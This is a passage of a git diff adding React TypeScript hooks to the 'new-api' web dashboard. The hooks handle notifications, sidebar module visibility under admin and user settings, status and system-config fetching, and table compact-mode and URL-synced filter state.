+  if (item.id !== undefined && item.id !== null) {
+    return `id:${item.id}`
+  }
+
+  const fingerprint = JSON.stringify({
+    publishDate: (item?.publishDate as string) || '',
+    content: ((item?.content as string) || '').trim(),
+    extra: ((item?.extra as string) || '').trim(),
+    type: (item?.type as string) || '',
+    title: ((item?.title as string) || '').trim(),
+    link: ((item?.link as string) || '').trim(),
+  })
+  return `hash:${hashString(fingerprint)}`
+}
+
+/**
+ * Hook to manage notifications (Notice + Announcements)
+ * Provides unread counts and read status management
+ */
+export function useNotifications() {
+  const [dialogOpen, setDialogOpen] = useState(false)
+  const [activeTab, setActiveTab] = useState<'notice' | 'announcements'>(
+    'notice'
+  )
+
+  // Fetch Notice from API
+  const {
+    data: noticeResponse,
+    isLoading: noticeLoading,
+    refetch: refetchNotice,
+  } = useQuery({
+    queryKey: ['notice'],
+    queryFn: getNotice,
+    staleTime: 1000 * 60 * 5, // 5 minutes
+  })
+
+  // Fetch Announcements from status
+  const { status, loading: statusLoading } = useStatus()
+  const announcementsEnabled = status?.announcements_enabled ?? false
+  // eslint-disable-next-line react-hooks/exhaustive-deps
+  const announcements: Record<string, unknown>[] = announcementsEnabled
+    ? ((status?.announcements || []) as Record<string, unknown>[]).slice(0, 20)
+    : []
+
+  // Notification store
+  const {
+    lastReadNotice,
+    markNoticeRead,
+    markAnnouncementsRead,
+    isAnnouncementRead,
+    isNoticeClosed,
+    setClosedUntilDate,
+  } = useNotificationStore()
+
+  // Extract notice content
+  const noticeContent = noticeResponse?.success
+    ? (noticeResponse.data || '').trim()
+    : ''
+
+  // Calculate unread counts
+  const unreadCounts = useMemo(() => {
+    const noticeUnread =
+      noticeContent && noticeContent !== lastReadNotice ? 1 : 0
+
+    const announcementsUnread = announcements.filter(
+      (item: Record<string, unknown>) => {
+        const key = getAnnouncementKey(item)
+        return !isAnnouncementRead(key)
+      }
+    ).length
+
+    return {
+      notice: noticeUnread,
+      announcements: announcementsUnread,
+      total: noticeUnread + announcementsUnread,
+    }
+  }, [noticeContent, lastReadNotice, announcements, isAnnouncementRead])
+
+  // Handle dialog open
+  const handleOpenDialog = (tab?: 'notice' | 'announcements') => {
+    // Mark Notice as read when opening dialog
+    if (noticeContent) {
+      markNoticeRead(noticeContent)
+    }
+
+    setActiveTab(tab || 'notice')
+    setDialogOpen(true)
+  }
+
+  // Handle tab change - mark announcements as read when switching to that tab
+  const handleTabChange = (tab: 'notice' | 'announcements') => {
+    setActiveTab(tab)
+
+    if (tab === 'announcements' && announcements.length > 0) {
+      const allKeys = announcements.map((item: Record<string, unknown>) =>
+        getAnnouncementKey(item)
+      )
+      markAnnouncementsRead(allKeys)
+    }
+  }
+
+  // Handle "Close Today" action
+  const handleCloseToday = () => {
+    const today = new Date().toDateString()
+    setClosedUntilDate(today)
+    setDialogOpen(false)
+  }
+
+  return {
+    // Data
+    notice: noticeContent,
+    announcements,
+    loading: noticeLoading || statusLoading,
+
+    // Unread counts
+    unreadCount: unreadCounts.total,
+    unreadNoticeCount: unreadCounts.notice,
+    unreadAnnouncementsCount: unreadCounts.announcements,
+
+    // Dialog state
+    dialogOpen,
+    setDialogOpen,
+    activeTab,
+    setActiveTab: handleTabChange,
+
+    // Actions
+    openDialog: handleOpenDialog,
+    closeDialog: () => setDialogOpen(false),
+    closeToday: handleCloseToday,
+    refetchNotice,
+
+    // Status
+    isNoticeClosed: isNoticeClosed(),
+  }
+}
diff --git a/new-api/web/default/src/hooks/use-sidebar-config.ts b/new-api/web/default/src/hooks/use-sidebar-config.ts
new file mode 100644
index 0000000..05b8a11
--- /dev/null
+++ b/new-api/web/default/src/hooks/use-sidebar-config.ts
@@ -0,0 +1,273 @@
+import { useMemo } from 'react'
+import { useAuthStore } from '@/stores/auth-store'
+import { useStatus } from '@/hooks/use-status'
+import type { NavGroup, NavItem } from '@/components/layout/types'
+
+type SidebarSectionConfig = {
+  enabled: boolean
+  [key: string]: boolean
+}
+
+type SidebarModulesAdminConfig = Record<string, SidebarSectionConfig>
+
+// User-layer config is shape-identical to admin, but may be null
+// to signal "no narrowing" (empty/invalid/legacy users).
+type SidebarModulesUserConfig = SidebarModulesAdminConfig | null
+
+/**
+ * Default sidebar modules configuration
+ */
+const DEFAULT_SIDEBAR_MODULES: SidebarModulesAdminConfig = {
+  chat: {
+    enabled: true,
+    playground: true,
+    chat: true,
+  },
+  console: {
+    enabled: true,
+    detail: true,
+    token: true,
+    log: true,
+    midjourney: true,
+    task: true,
+  },
+  personal: {
+    enabled: true,
+    topup: true,
+    personal: true,
+  },
+  admin: {
+    enabled: true,
+    channel: true,
+    models: true,
+    redemption: true,
+    user: true,
+    setting: true,
+    subscription: true,
+  },
+}
+
+/**
+ * Mapping from URL to configuration keys
+ */
+const URL_TO_CONFIG_MAP: Record<string, { section: string; module: string }> = {
+  '/playground': { section: 'chat', module: 'playground' },
+  '/dashboard': { section: 'console', module: 'detail' },
+  '/dashboard/overview': { section: 'console', module: 'detail' },
+  '/dashboard/models': { section: 'console', module: 'detail' },
+  '/dashboard/users': { section: 'console', module: 'detail' },
+  '/keys': { section: 'console', module: 'token' },
+  '/usage-logs': { section: 'console', module: 'log' },
+  '/usage-logs/common': { section: 'console', module: 'log' },
+  '/usage-logs/drawing': { section: 'console', module: 'midjourney' },
+  '/usage-logs/task': { section: 'console', module: 'task' },
+  '/wallet': { section: 'personal', module: 'topup' },
+  '/profile': { section: 'personal', module: 'personal' },
+  '/channels': { section: 'admin', module: 'channel' },
+  '/models': { section: 'admin', module: 'models' },
+  '/models/metadata': { section: 'admin', module: 'models' },
+  '/models/deployments': { section: 'admin', module: 'models' },
+  '/users': { section: 'admin', module: 'user' },
+  '/redemption-codes': { section: 'admin', module: 'redemption' },
+  '/subscriptions': { section: 'admin', module: 'subscription' },
+}
+
+/**
+ * Parse backend SidebarModulesAdmin configuration
+ */
+function parseSidebarConfig(
+  value: string | null | undefined
+): SidebarModulesAdminConfig {
+  // If empty string, null, or undefined, use default config
+  if (!value || value.trim() === '') {
+    return DEFAULT_SIDEBAR_MODULES
+  }
+
+  try {
+    const parsed = JSON.parse(value) as SidebarModulesAdminConfig
+    // Ensure chat section and its modules are correctly initialized if missing
+    if (!parsed.chat) {
+      parsed.chat = { enabled: true, playground: true, chat: true }
+    } else {
+      if (parsed.chat.enabled === undefined) parsed.chat.enabled = true
+      if (parsed.chat.playground === undefined) parsed.chat.playground = true
+      if (parsed.chat.chat === undefined) parsed.chat.chat = true
+    }
+    return parsed
+  } catch {
+    // eslint-disable-next-line no-console
+    console.error('Failed to parse sidebar modules configuration')
+    return DEFAULT_SIDEBAR_MODULES
+  }
+}
+
+/**
+ * Parse user-level sidebar_modules. Returns null when the value is empty,
+ * invalid, or otherwise unusable — the caller treats null as "do not narrow",
+ * so legacy users with an empty sidebar_modules field keep the full admin view.
+ */
+function parseUserSidebarConfig(
+  value: string | null | undefined
+): SidebarModulesUserConfig {
+  if (!value || value.trim() === '') {
+    return null
+  }
+  try {
+    const parsed = JSON.parse(value) as SidebarModulesAdminConfig
+    if (!parsed || typeof parsed !== 'object') return null
+    return parsed
+  } catch {
+    return null
+  }
+}
+
+/**
+ * Check if a module is enabled. Admin config is the first (authoritative)
+ * layer: if admin disables a section/module it is always hidden. User config
+ * is a second narrower layer: it can only further hide what admin allowed.
+ * A null user config means "do not narrow" (legacy/empty users).
+ */
+function isModuleEnabled(
+  url: string,
+  adminConfig: SidebarModulesAdminConfig,
+  userConfig: SidebarModulesUserConfig
+): boolean {
+  const mapping = URL_TO_CONFIG_MAP[url]
+  if (!mapping) {
+    // No mapping config, default to visible (e.g. system settings and new features)
+    return true
+  }
+
+  const { section, module } = mapping
+  const adminSection = adminConfig[section]
+  const adminAllowed = Boolean(
+    adminSection && adminSection.enabled && adminSection[module] === true
+  )
+  if (!adminAllowed) return false
+
+  if (!userConfig) return true
+
+  const userSection = userConfig[section]
+  if (!userSection) return true
+  if (userSection.enabled === false) return false
+  return userSection[module] !== false
+}
+
+/**
+ * Check if a navigation item should be visible
+ */
+function isNavItemVisible(
+  item: NavItem,
+  adminConfig: SidebarModulesAdminConfig,
+  userConfig: SidebarModulesUserConfig
+): boolean {
+  // Handle dynamic chat presets type — also runs the admin × user AND gate
+  if ('type' in item && item.type === 'chat-presets') {
+    const adminChat = adminConfig.chat
+    const adminAllowed = Boolean(adminChat?.enabled && adminChat.chat === true)
+    if (!adminAllowed) return false
+    if (!userConfig) return true
+    const userChat = userConfig.chat
+    if (!userChat) return true
+    if (userChat.enabled === false) return false
+    return userChat.chat !== false
+  }
+
+  // Handle direct link type
+  if ('url' in item && item.url) {
+    const configUrls = item.configUrls ?? [item.url]
+    return configUrls.some((url) =>
+      isModuleEnabled(url as string, adminConfig, userConfig)
+    )
+  }
+
+  // Handle collapsible type (with sub-items)
+  if ('items' in item && item.items) {
+    // If has sub-items, show this collapsible item if at least one sub-item is visible
+    return item.items.some((subItem) =>
+      isModuleEnabled(subItem.url as string, adminConfig, userConfig)
+    )
+  }
+
+  return true
+}
+
+/**
+ * Filter navigation items
+ */
+function filterNavItems(
+  items: NavItem[],
+  adminConfig: SidebarModulesAdminConfig,
+  userConfig: SidebarModulesUserConfig
+): NavItem[] {
+  return items
+    .map((item) => {
+      // If collapsible item, also filter its sub-items
+      if ('items' in item && item.items) {
+        const filteredSubItems = item.items.filter((subItem) =>
+          isModuleEnabled(subItem.url as string, adminConfig, userConfig)
+        )
+
+        return {
+          ...item,
+          items: filteredSubItems,
+        }
+      }
+      return item
+    })
+    .filter((item) => isNavItemVisible(item, adminConfig, userConfig))
+}
+
+/**
+ * Filter sidebar navigation groups by admin × user sidebar_modules config.
+ *
+ * Two layers, AND-combined:
+ *   1. Admin (status.SidebarModulesAdmin) — authoritative, falls back to
+ *      DEFAULT_SIDEBAR_MODULES when empty/invalid. Disabling here hides the
+ *      item for everyone regardless of user preference.
+ *   2. User (auth.user.sidebar_modules) — narrower overlay, null sentinel
+ *      means "don't narrow". A section/module is only hidden if the user
+ *      explicitly set it to false; undefined fields default to visible so
+ *      legacy users with empty sidebar_modules keep the full admin view.
+ *      The overlay is also skipped entirely when the backend tells us the
+ *      user cannot configure sidebar_settings (e.g. root accounts), so a
+ *      stale historical value cannot lock them out of entries they have no
+ *      UI to restore.
+ */
+export function useSidebarConfig(navGroups: NavGroup[]): NavGroup[] {
+  const { status } = useStatus()
+  const { auth } = useAuthStore()
+
+  const adminConfig = useMemo(
+    () =>
+      parseSidebarConfig(
+        status?.SidebarModulesAdmin as string | null | undefined
+      ),
+    [status?.SidebarModulesAdmin]
+  )
+
+  const userConfig = useMemo(() => {
+    // If the backend marks the user as unable to configure the sidebar
+    // (e.g. root accounts), skip the user overlay entirely — a stale
+    // historical sidebar_modules value from a previous role would otherwise
+    // hide admin entries for someone who has no in-product UI to restore
+    // them.
+    if (auth?.user?.permissions?.sidebar_settings === false) {
+      return null
+    }
+    return parseUserSidebarConfig(auth?.user?.sidebar_modules)
+  }, [auth?.user?.permissions?.sidebar_settings, auth?.user?.sidebar_modules])
+
+  const filteredNavGroups = useMemo(
+    () =>
+      navGroups
+        .map((group) => ({
+          ...group,
+          items: filterNavItems(group.items, adminConfig, userConfig),
+        }))
+        .filter((group) => group.items.length > 0), // Only show navigation groups with visible items
+    [navGroups, adminConfig, userConfig]
+  )
+
+  return filteredNavGroups
+}
diff --git a/new-api/web/default/src/hooks/use-sidebar-data.ts b/new-api/web/default/src/hooks/use-sidebar-data.ts
new file mode 100644
index 0000000..0424953
--- /dev/null
+++ b/new-api/web/default/src/hooks/use-sidebar-data.ts
@@ -0,0 +1,127 @@
+import {
+  LayoutDashboard,
+  Activity,
+  Key,
+  FileText,
+  Wallet,
+  Box,
+  Users,
+  Ticket,
+  User,
+  Command,
+  Radio,
+  FlaskConical,
+  MessageSquare,
+  CreditCard,
+  ListTodo,
+} from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { WORKSPACE_IDS } from '@/components/layout/lib/workspace-registry'
+import { type SidebarData } from '@/components/layout/types'
+
+export function useSidebarData(): SidebarData {
+  const { t } = useTranslation()
+
+  return {
+    workspaces: [
+      {
+        id: WORKSPACE_IDS.DEFAULT,
+        name: '', // Dynamically fetches system name
+        logo: Command,
+        plan: '', // Dynamically fetches system version
+      },
+    ],
+    navGroups: [
+      {
+        id: 'chat',
+        title: t('Chat'),
+        items: [
+          {
+            title: t('Playground'),
+            url: '/playground',
+            icon: FlaskConical,
+          },
+          {
+            title: t('Chat'),
+            icon: MessageSquare,
+            type: 'chat-presets',
+          },
+        ],
+      },
+      {
+        id: 'general',
+        title: t('General'),
+        items: [
+          {
+            title: t('Overview'),
+            url: '/dashboard/overview',
+            icon: Activity,
+          },
+          {
+            title: t('Dashboard'),
+            url: '/dashboard/models',
+            icon: LayoutDashboard,
+          },
+          {
+            title: t('API Keys'),
+            url: '/keys',
+            icon: Key,
+          },
+          {
+            title: t('Usage Logs'),
+            url: '/usage-logs/common',
+            icon: FileText,
+          },
+          {
+            title: t('Task Logs'),
+            url: '/usage-logs/task',
+            activeUrls: ['/usage-logs/drawing'],
+            configUrls: ['/usage-logs/drawing', '/usage-logs/task'],
+            icon: ListTodo,
+          },
+          {
+            title: t('Wallet'),
+            url: '/wallet',
+            icon: Wallet,
+          },
+          {
+            title: t('Profile'),
+            url: '/profile',
+            icon: User,
+          },
+        ],
+      },
+      {
+        id: 'admin',
+        title: t('Admin'),
+        items: [
+          {
+            title: t('Channels'),
+            url: '/channels',
+            icon: Radio,
+          },
+          {
+            title: t('Models'),
+            url: '/models/metadata',
+            icon: Box,
+          },
+          {
+            title: t('Users'),
+            url: '/users',
+            icon: Users,
+          },
+          {
+            title: t('Redemption Codes'),
+            url: '/redemption-codes',
+            icon: Ticket,
+          },
+          {
+            title: t('Subscription Management'),
+            url: '/subscriptions',
+            icon: CreditCard,
+          },
+        ],
+      },
+    ],
+  }
+}
diff --git a/new-api/web/default/src/hooks/use-status.ts b/new-api/web/default/src/hooks/use-status.ts
new file mode 100644
index 0000000..6fb4a0e
--- /dev/null
+++ b/new-api/web/default/src/hooks/use-status.ts
@@ -0,0 +1,62 @@
+import { useQuery } from '@tanstack/react-query'
+import { useSystemConfigStore } from '@/stores/system-config-store'
+import { getStatus } from '@/lib/api'
+import type { SystemStatus } from '@/features/auth/types'
+import { mapStatusDataToConfig } from './use-system-config'
+
+// Get initial cache from localStorage
+function getInitialStatus(): SystemStatus | undefined {
+  try {
+    if (typeof window !== 'undefined') {
+      const saved = window.localStorage.getItem('status')
+      return saved ? (JSON.parse(saved) as SystemStatus) : undefined
+    }
+  } catch {
+    /* empty */
+  }
+  return undefined
+}
+
+export function useStatus() {
+  const { data, isLoading, error } = useQuery({
+    queryKey: ['status'],
+    queryFn: async () => {
+      const status = await getStatus()
+      try {
+        if (status) {
+          const { setConfig } = useSystemConfigStore.getState()
+          setConfig(mapStatusDataToConfig(status))
+        }
+      } catch (err) {
+        if (import.meta.env.DEV) {
+          // eslint-disable-next-line no-console
+          console.warn(
+            '[useStatus] Failed to sync status to system config',
+            err
+          )
+        }
+      }
+      // Save to localStorage
+      try {
+        if (typeof window !== 'undefined' && status) {
+          window.localStorage.setItem('status', JSON.stringify(status))
+        }
+      } catch {
+        /* empty */
+      }
+      return status as SystemStatus | null
+    },
+    // Use localStorage data as initial data
+    placeholderData: getInitialStatus(),
+    // Data becomes stale after 5 minutes
+    staleTime: 5 * 60 * 1000,
+    // Cache expires after 30 minutes
+    gcTime: 30 * 60 * 1000,
+  })
+
+  return {
+    status: data ?? null,
+    loading: isLoading,
+    error,
+  }
+}
diff --git a/new-api/web/default/src/hooks/use-system-config.ts b/new-api/web/default/src/hooks/use-system-config.ts
new file mode 100644
index 0000000..1e8f550
--- /dev/null
+++ b/new-api/web/default/src/hooks/use-system-config.ts
@@ -0,0 +1,185 @@
+import { useEffect, useCallback } from 'react'
+import {
+  useSystemConfigStore,
+  type CurrencyConfig,
+  type CurrencyDisplayType,
+  type SystemConfig,
+  DEFAULT_CURRENCY_CONFIG,
+} from '@/stores/system-config-store'
+import { DEFAULT_SYSTEM_NAME, DEFAULT_LOGO } from '@/lib/constants'
+import { applyFaviconToDom } from '@/lib/dom-utils'
+
+interface UseSystemConfigOptions {
+  /** Automatically fetch config from backend (use only in root component) */
+  autoLoad?: boolean
+}
+
+interface StatusApiResponse {
+  success: boolean
+  data: {
+    system_name?: string
+    logo?: string
+    footer_html?: string
+    demo_site_enabled?: boolean
+    display_token_stat_enabled?: boolean
+    display_in_currency?: boolean
+    quota_display_type?: CurrencyDisplayType
+    quota_per_unit?: number
+    usd_exchange_rate?: number
+    custom_currency_symbol?: string
+    custom_currency_exchange_rate?: number
+  }
+}
+
+function toNumber(value: unknown, fallback: number): number {
+  if (typeof value === 'number' && !Number.isNaN(value)) return value
+  if (typeof value === 'string') {
+    const parsed = Number(value)
+    if (!Number.isNaN(parsed)) return parsed
+  }
+  return fallback
+}
+
+/**
+ * Map `/api/status` response data to our persisted system config structure
+ */
+export function mapStatusDataToConfig(
+  data: StatusApiResponse['data'] | undefined
+): Partial<SystemConfig> {
+  if (!data) return {}
+
+  const quotaDisplayType =
+    (data.quota_display_type as CurrencyDisplayType | undefined) ??
+    DEFAULT_CURRENCY_CONFIG.quotaDisplayType
+
+  const currency: CurrencyConfig = {
+    displayInCurrency:
+      data.display_in_currency ?? DEFAULT_CURRENCY_CONFIG.displayInCurrency,
+    quotaDisplayType,
+    quotaPerUnit: toNumber(
+      data.quota_per_unit,
+      DEFAULT_CURRENCY_CONFIG.quotaPerUnit
+    ),
+    usdExchangeRate: toNumber(
+      data.usd_exchange_rate,
+      DEFAULT_CURRENCY_CONFIG.usdExchangeRate
+    ),
+    customCurrencySymbol:
+      data.custom_currency_symbol?.trim() ||
+      DEFAULT_CURRENCY_CONFIG.customCurrencySymbol,
+    customCurrencyExchangeRate: toNumber(
+      data.custom_currency_exchange_rate,
+      DEFAULT_CURRENCY_CONFIG.customCurrencyExchangeRate
+    ),
+  }
+
+  return {
+    systemName: data.system_name || DEFAULT_SYSTEM_NAME,
+    logo: data.logo || DEFAULT_LOGO,
+    footerHtml: data.footer_html,
+    demoSiteEnabled: data.demo_site_enabled,
+    displayTokenStatEnabled: data.display_token_stat_enabled,
+    currency,
+  }
+}
+
+// Fetch system config from API
+async function fetchSystemConfig(): Promise<Partial<SystemConfig>> {
+  const response = await fetch('/api/status')
+  if (!response.ok) throw new Error('Failed to fetch status')
+
+  const data: StatusApiResponse = await response.json()
+  if (!data.success) throw new Error('API returned error')
+
+  return mapStatusDataToConfig(data.data)
+}
+
+// Preload image and return cleanup function
+function preloadImage(
+  src: string,
+  onLoad: () => void,
+  onError: () => void
+): () => void {
+  const img = new Image()
+  img.onload = onLoad
+  img.onerror = onError
+  img.src = src
+
+  return () => {
+    img.onload = null
+    img.onerror = null
+  }
+}
+
+/**
+ * System configuration hook with auto-loading and logo preloading
+ *
+ * @example
+ * // Root component - auto-load from backend
+ * useSystemConfig({ autoLoad: true })
+ *
+ * @example
+ * // Other components - use cached config
+ * const { systemName, logo, loading } = useSystemConfig()
+ */
+export function useSystemConfig(options: UseSystemConfigOptions = {}) {
+  const { autoLoad = false } = options
+  const {
+    config,
+    loading,
+    loadedLogoUrl,
+    setConfig,
+    setLoadedLogoUrl,
+    setLoading,
+  } = useSystemConfigStore()
+
+  // Load config from backend
+  const loadConfig = useCallback(async () => {
+    try {
+      setLoading(true)
+      const newConfig = await fetchSystemConfig()
+      setConfig(newConfig)
+    } catch (error) {
+      // eslint-disable-next-line no-console
+      console.error('Failed to load system config:', error)
+    } finally {
+      setLoading(false)
+    }
+  }, [setConfig, setLoading])
+
+  useEffect(() => {
+    if (autoLoad) loadConfig()
+  }, [autoLoad, loadConfig])
+
+  // Preload logo image when URL changes
+  useEffect(() => {
+    const { logo } = config
+
+    // Skip if logo is already loaded
+    if (!logo || logo === loadedLogoUrl) return
+
+    // Preload new logo
+    return preloadImage(
+      logo,
+      () => {
+        setLoadedLogoUrl(logo)
+        applyFaviconToDom(logo)
+      },
+      () => {
+        if (logo !== DEFAULT_LOGO) {
+          // eslint-disable-next-line no-console
+          console.error('Failed to load logo:', logo)
+        }
+        // Mark as loaded even on error to prevent infinite retry
+        setLoadedLogoUrl(logo)
+      }
+    )
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [config.logo, loadedLogoUrl, setLoadedLogoUrl])
+
+  return {
+    ...config,
+    loading,
+    logoLoaded: config.logo === loadedLogoUrl && !!loadedLogoUrl,
+  }
+}
diff --git a/new-api/web/default/src/hooks/use-table-compact-mode.ts b/new-api/web/default/src/hooks/use-table-compact-mode.ts
new file mode 100644
index 0000000..456cadb
--- /dev/null
+++ b/new-api/web/default/src/hooks/use-table-compact-mode.ts
@@ -0,0 +1,63 @@
+import { useState, useEffect, useCallback } from 'react'
+
+const STORAGE_KEY = 'table_compact_modes'
+
+function getCompactMode(tableKey: string): boolean {
+  try {
+    const raw = localStorage.getItem(STORAGE_KEY)
+    if (!raw) return false
+    const modes = JSON.parse(raw) as Record<string, boolean>
+    return Boolean(modes[tableKey])
+  } catch {
+    return false
+  }
+}
+
+function setCompactMode(value: boolean, tableKey: string) {
+  try {
+    const raw = localStorage.getItem(STORAGE_KEY)
+    const modes = raw ? (JSON.parse(raw) as Record<string, boolean>) : {}
+    modes[tableKey] = value
+    localStorage.setItem(STORAGE_KEY, JSON.stringify(modes))
+  } catch {
+    /* ignore */
+  }
+}
+
+/**
+ * Manages per-table compact mode toggle persisted in localStorage.
+ * Stays in sync across tabs via the storage event.
+ */
+export function useTableCompactMode(
+  tableKey = 'global'
+): [boolean, (value: boolean) => void] {
+  const [compact, setCompactState] = useState(() => getCompactMode(tableKey))
+
+  const setCompact = useCallback(
+    (value: boolean) => {
+      setCompactState(value)
+      setCompactMode(value, tableKey)
+    },
+    [tableKey]
+  )
+
+  useEffect(() => {
+    const handleStorage = (e: StorageEvent) => {
+      if (e.key === STORAGE_KEY) {
+        try {
+          const modes = JSON.parse(e.newValue || '{}') as Record<
+            string,
+            boolean
+          >
+          setCompactState(Boolean(modes[tableKey]))
+        } catch {
+          /* ignore */
+        }
+      }
+    }
+    window.addEventListener('storage', handleStorage)
+    return () => window.removeEventListener('storage', handleStorage)
+  }, [tableKey])
+
+  return [compact, setCompact]
+}
diff --git a/new-api/web/default/src/hooks/use-table-url-state.ts b/new-api/web/default/src/hooks/use-table-url-state.ts
new file mode 100644
index 0000000..d06a75a
--- /dev/null
+++ b/new-api/web/default/src/hooks/use-table-url-state.ts
@@ -0,0 +1,225 @@
+import { useEffect, useMemo, useState } from 'react'
+import type {
+  ColumnFiltersState,
+  OnChangeFn,
+  PaginationState,
+} from '@tanstack/react-table'
+
+type SearchRecord = Record<string, unknown>
+
+export type NavigateFn = (opts: {
+  search:
+    | true
+    | SearchRecord
+    | ((prev: SearchRecord) => Partial<SearchRecord> | SearchRecord)
+  replace?: boolean
+}) => void
+
+type UseTableUrlStateParams = {
+  search: SearchRecord
+  navigate: NavigateFn
+  pagination?: {
+    pageKey?: string
+    pageSizeKey?: string
+    defaultPage?: number
+    defaultPageSize?: number
+  }
+  globalFilter?: {
+    enabled?: boolean
+    key?: string
+    trim?: boolean
+  }
+  columnFilters?: Array<
+    | {
+        columnId: string
+        searchKey: string
+        type?: 'string'
+        // Optional transformers for custom types
+        serialize?: (value: unknown) => unknown
+        deserialize?: (value: unknown) => unknown
+      }
+    | {
+        columnId: string
+        searchKey: string
+        type: 'array'
+        serialize?: (value: unknown) => unknown
+        deserialize?: (value: unknown) => unknown
+      }
+  >
+}
+
+type UseTableUrlStateReturn = {
+  // Global filter
+  globalFilter?: string
+  onGlobalFilterChange?: OnChangeFn<string>
+  // Column filters
+  columnFilters: ColumnFiltersState
+  onColumnFiltersChange: OnChangeFn<ColumnFiltersState>
+  // Pagination
+  pagination: PaginationState
+  onPaginationChange: OnChangeFn<PaginationState>
+  // Helpers
+  ensurePageInRange: (
+    pageCount: number,
+    opts?: { resetTo?: 'first' | 'last' }
+  ) => void
+}
+
+export function useTableUrlState(
+  params: UseTableUrlStateParams
+): UseTableUrlStateReturn {
+  const {
+    search,
+    navigate,
+    pagination: paginationCfg,
+    globalFilter: globalFilterCfg,
+    columnFilters: columnFiltersCfg = [],
+  } = params
+
+  const pageKey = paginationCfg?.pageKey ?? ('page' as string)
+  const pageSizeKey = paginationCfg?.pageSizeKey ?? ('pageSize' as string)
+  const defaultPage = paginationCfg?.defaultPage ?? 1
+  const defaultPageSize = paginationCfg?.defaultPageSize ?? 20
+
+  const globalFilterKey = globalFilterCfg?.key ?? ('filter' as string)
+  const globalFilterEnabled = globalFilterCfg?.enabled ?? true
+  const trimGlobal = globalFilterCfg?.trim ?? true
+
+  // Build initial column filters from the current search params
+  const initialColumnFilters: ColumnFiltersState = useMemo(() => {
+    const collected: ColumnFiltersState = []
+    for (const cfg of columnFiltersCfg) {
+      const raw = (search as SearchRecord)[cfg.searchKey]
+      const deserialize = cfg.deserialize ?? ((v: unknown) => v)
+      if (cfg.type === 'string') {
+        const value = (deserialize(raw) as string) ?? ''
+        if (typeof value === 'string' && value.trim() !== '') {
+          collected.push({ id: cfg.columnId, value })
+        }
+      } else {
+        // default to array type
+        const value = (deserialize(raw) as unknown[]) ?? []
+        if (Array.isArray(value) && value.length > 0) {
+          collected.push({ id: cfg.columnId, value })
+        }
+      }
+    }
+    return collected
+  }, [columnFiltersCfg, search])
+
+  const [columnFilters, setColumnFilters] =
+    useState<ColumnFiltersState>(initialColumnFilters)
+
+  // URL 为单一数据源：仅当 search（URL）变化时同步，避免依赖 initialColumnFilters 造成死循环（config 常为内联引用）
+  useEffect(() => {
+    setColumnFilters(initialColumnFilters)
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [search])
+
+  const pagination: PaginationState = useMemo(() => {
+    const rawPage = (search as SearchRecord)[pageKey]
+    const rawPageSize = (search as SearchRecord)[pageSizeKey]
+    const pageNum = typeof rawPage === 'number' ? rawPage : defaultPage
+    const pageSizeNum =
+      typeof rawPageSize === 'number' ? rawPageSize : defaultPageSize
+    return { pageIndex: Math.max(0, pageNum - 1), pageSize: pageSizeNum }
+  }, [search, pageKey, pageSizeKey, defaultPage, defaultPageSize])
+
+  const onPaginationChange: OnChangeFn<PaginationState> = (updater) => {
+    const next = typeof updater === 'function' ? updater(pagination) : updater
+    const nextPage = next.pageIndex + 1
+    const nextPageSize = next.pageSize
+    navigate({
+      search: (prev) => ({
+        ...(prev as SearchRecord),
+        [pageKey]: nextPage <= defaultPage ? undefined : nextPage,
+        [pageSizeKey]:
+          nextPageSize === defaultPageSize ? undefined : nextPageSize,
+      }),
+    })
+  }
+
+  const [globalFilter, setGlobalFilter] = useState<string | undefined>(() => {
+    if (!globalFilterEnabled) return undefined
+    const raw = (search as SearchRecord)[globalFilterKey]
+    return typeof raw === 'string' ? raw : ''
+  })
+
+  const onGlobalFilterChange: OnChangeFn<string> | undefined =
+    globalFilterEnabled
+      ? (updater) => {
+          const next =
+            typeof updater === 'function'
+              ? updater(globalFilter ?? '')
+              : updater
+          const value = trimGlobal ? next.trim() : next
+          setGlobalFilter(value)
+          navigate({
+            search: (prev) => ({
+              ...(prev as SearchRecord),
+              [pageKey]: undefined,
+              [globalFilterKey]: value ? value : undefined,
+            }),
+          })
+        }
+      : undefined
+
+  const onColumnFiltersChange: OnChangeFn<ColumnFiltersState> = (updater) => {
+    const next =
+      typeof updater === 'function' ? updater(columnFilters) : updater
+    setColumnFilters(next)
+
+    const patch: Record<string, unknown> = {}
+
+    for (const cfg of columnFiltersCfg) {
+      const found = next.find((f) => f.id === cfg.columnId)
+      const serialize = cfg.serialize ?? ((v: unknown) => v)
+      if (cfg.type === 'string') {
+        const value =
+          typeof found?.value === 'string' ? (found.value as string) : ''
+        patch[cfg.searchKey] =
+          value.trim() !== '' ? serialize(value) : undefined
+      } else {
+        const value = Array.isArray(found?.value)
+          ? (found!.value as unknown[])
+          : []
+        patch[cfg.searchKey] = value.length > 0 ? serialize(value) : undefined
+      }
+    }
+
+    navigate({
+      search: (prev) => ({
+        ...(prev as SearchRecord),
+        [pageKey]: undefined,
+        ...patch,
+      }),
+    })
+  }
+
+  const ensurePageInRange = (
+    pageCount: number,
+    opts: { resetTo?: 'first' | 'last' } = { resetTo: 'first' }
+  ) => {
+    const currentPage = (search as SearchRecord)[pageKey]
+    const pageNum = typeof currentPage === 'number' ? currentPage : defaultPage
+    if (pageCount > 0 && pageNum > pageCount) {
+      navigate({
+        replace: true,
+        search: (prev) => ({
+          ...(prev as SearchRecord),
+          [pageKey]: opts.resetTo === 'last' ? pageCount : undefined,
+        }),
+      })
+    }
+  }
+
+  return {
+    globalFilter: globalFilterEnabled ? (globalFilter ?? '') : undefined,
+    onGlobalFilterChange,
+    columnFilters,
+    onColumnFiltersChange,
+    pagination,
+    onPaginationChange,
+    ensurePageInRange,
+  }
+}
diff --git a/new-api/web/default/src/hooks/use-top-nav-links.ts b/new-api/web/default/src/hooks/use-top-nav-links.ts
new file mode 100644
index 0000000..335232c
--- /dev/null
+++ b/new-api/web/default/src/hooks/use-top-nav-links.ts
@@ -0,0 +1,92 @@
+import { useMemo } from 'react'
+import { useTranslation } from 'react-i18next'
+import { useAuthStore } from '@/stores/auth-store'
+import { useStatus } from '@/hooks/use-status'
+
+export type TopNavLink = {
+  title: string
+  href: string
+  disabled?: boolean
+  external?: boolean
+}
+
+// Default navigation configuration
+const DEFAULT_HEADER_NAV_MODULES = {
+  home: true,
+  console: true,
+  pricing: { enabled: true, requireAuth: false },
+  docs: true,
+  about: true,
+}
+
+/**
